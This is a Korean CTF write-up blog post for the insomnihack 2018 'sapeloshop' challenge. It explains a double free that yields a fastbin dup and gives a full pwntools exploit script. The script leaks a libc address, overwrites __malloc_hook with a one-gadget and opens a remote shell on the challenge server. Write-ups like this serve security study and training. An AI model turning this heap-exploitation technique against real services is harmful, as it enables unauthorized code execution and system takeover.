Pwnable/CTF
insomnihack CTF 2018 sapeloshop
HSr00t
2018. 1. 23. 02:02
문제를 처음 잡을때 엄청 어려울줄 알았는데 그렇게 어려운편은 아니였다.
대회당시에는 NULL값이 들어가면 malloc인자에 들어가는 사이즈크기가 증가를 안 해서 포기하고 다른 문제를 풀러갔는데 대회 끝나고 write up을 보니 %00을 이용하여서 풀수있었다..
취약점은 sub함수에서 전역 포인터에 NULL값으로 덮지않고 free를 해주고 한번더 free를 하기위해서는 전역 포인터 옆에 숫자가 1이상이 되어야하는데 그 문제는 inc함수에서 0인지 확인을 하지 않고 +1를 해주기때문에 fastbin dup 취약점이생긴다.
익스는 함수를 안 써서 그런지 엄청 더럽다..
from pwn import * #p=process(["./sapeloshop"],env={'LD_PRELOAD':'./libc-2.23.so'}) p=remote("sapeloshop.teaser.insomnihack.ch",80) elf=ELF("./sapeloshop") raw_input('$ ') #Connection: keep-alive p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r') sleep(0.5) p.sendline("desc="+"A"*260+"&260") p.recvuntil('</html>') sleep(1) p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r') sleep(0.5) p.sendline("desc="+"B"*260+"&260") p.recvuntil('</html>') sleep(1) p.sendline("POST/sub"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=0&1") #item=index&size p.recvuntil('</html>') sleep(1) p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=0&1") p.recvuntil('<div class=\"row\"><div class=\"col-md-8\"><img src=\"img/') main_arena = u64(p.recv(6)+"\x00\x00") - 88 malloc_hook = main_arena - 0x10 libc_base = malloc_hook - 0x3c4b10 one_shot = libc_base + 0xf02a4 print hex(main_arena) print hex(malloc_hook) print hex(one_shot) p.recvuntil('</html>') sleep(1) p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r') sleep(0.5) p.sendline("desc="+"A"*260+"&260") p.recvuntil('</html>') sleep(1) #0 p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r') sleep(0.5) p.sendline("desc="+"C"*95+"&96") p.recvuntil('</html>') sleep(1) #2 p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r') sleep(0.5) p.sendline("desc="+"D"*95+"&96") p.recvuntil('</html>') sleep(1) #3 p.sendline("POST/sub"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=2&1") #item=index&size p.recvuntil('</html>') sleep(1) p.sendline("POST/del"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=3&1") #item=index&size p.recvuntil('</html>') sleep(1) p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=2&1") sleep(1) p.sendline("POST/del"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') sleep(0.5) p.sendline("item=2&1") #item=index&size p.recvuntil('</html>') sleep(1) #fastbin dup start ! print "start" payload = "desc=" payload += p64(malloc_hook-0x23)[:6]+"%00"*((95-len(payload))/3) + "&96" print len(payload) p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: '+str(len(payload))+'\r\n\r') p.sendline(payload) sleep(0.5) p.recvuntil('</html>') sleep(2) #4 p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r') sleep(0.5) p.sendline("desc="+"e"*95+"&96") p.recvuntil('</html>') sleep(1) #5 p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r') sleep(0.5) p.sendline("desc="+"f"*95+"&95") p.recvuntil('</html>') sleep(1) #6 payload = "desc=" payload += "A"*0x13 payload += p64(one_shot)[:6]+"%00"*((95-len(payload))/3) + "&96" print len(payload) p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: '+str(len(payload)+1)+'\r\n\r') p.sendline(payload) p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r') p.sendline("item=2&1") p.interactive() | cs |